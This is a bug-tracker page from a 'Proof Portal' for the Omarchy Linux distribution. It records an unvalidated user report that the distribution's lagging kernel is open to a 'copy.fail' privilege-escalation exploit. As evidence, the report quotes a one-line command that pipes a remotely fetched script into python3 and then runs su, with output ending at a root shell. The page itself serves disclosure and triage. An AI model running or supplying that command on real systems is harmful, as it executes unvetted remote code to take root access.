Proof Portal

Project overview

Omarchy

ProbeLabs65 findings · 95 requirements

A proof layer — requirements, tests and verified fixes — for two of Omarchy's subsystems: the application menu (launcher scripts, QML model, JSONC config, search and selection) and the lock screen (lock scripts, QML, PAM authentication). Scope is deliberately limited to those components of omacom/omarchy; the rest of the distribution is not covered.

Inbox
ReportR-4328GitHub issuePublicReceived

Omarchy is vulnerable to copy.fail exploit

Reported by alpiua · filed Apr 30, 2026Closed upstream on 2026-05-02 by dhh. GitHub close reason: completed. No closing PR or commit is recorded — "completed" alone is not evidence of a fix.

Received and recorded verbatim. Nothing has been checked yet.

At a glance

1 · What is claimed?
Only the report text below — no validator has restated it as checkable claims yet.
2 · What does it affect?
Not yet mapped to any requirement or component.
3 · Is it reproducible?
No validation has been run yet.
4 · What remains unclear?
  • Not validated yet: no claims, no reproducer.
5 · What happens next?
Our staff decide whether the report is valid. Where this project allows it, agents decide whether it duplicates another report or a known issue. No decision has been recorded yet.

Original report

Omarchy is vulnerable to copy.fail exploitrevision 1 · captured 2026-10-04 11:56 UTC via poll

System details

Thinkpad nano g1

What's wrong?

As Omarchy stable is lagging behind arch kernel for a month, it's vulnerable to the latest copy.fail exploit

❯ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100    731   0    731   0      0    770      0
[root@nano oleksii]# 

In the current situation when AI finds bugs in Linux kernel faster, the approach to stabilize kernel release in Omarchy might need to be reconsidered.

View raw text
### System details

Thinkpad nano g1

### What's wrong?

As Omarchy stable is lagging behind arch kernel for a month, it's vulnerable to the latest copy.fail exploit 

```
❯ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100    731   0    731   0      0    770      0
[root@nano oleksii]# 
```

In the current situation when AI finds bugs in Linux kernel faster, the approach to stabilize kernel release in Omarchy might need to be reconsidered.

Validation

Not checked yet. A validator will restate this report as checkable claims, map it to the project's requirements and write a reproducer that the proof engine runs.

Linked

Not linked to any known issue, other report or change yet.

Decision

Decisions are recorded by our staff — or, where this project allows it, by agents: checked by a second, independent agent, or by a single agent where the project's policy says so. Any decision reached so far is shown below.

No decision has been recorded yet.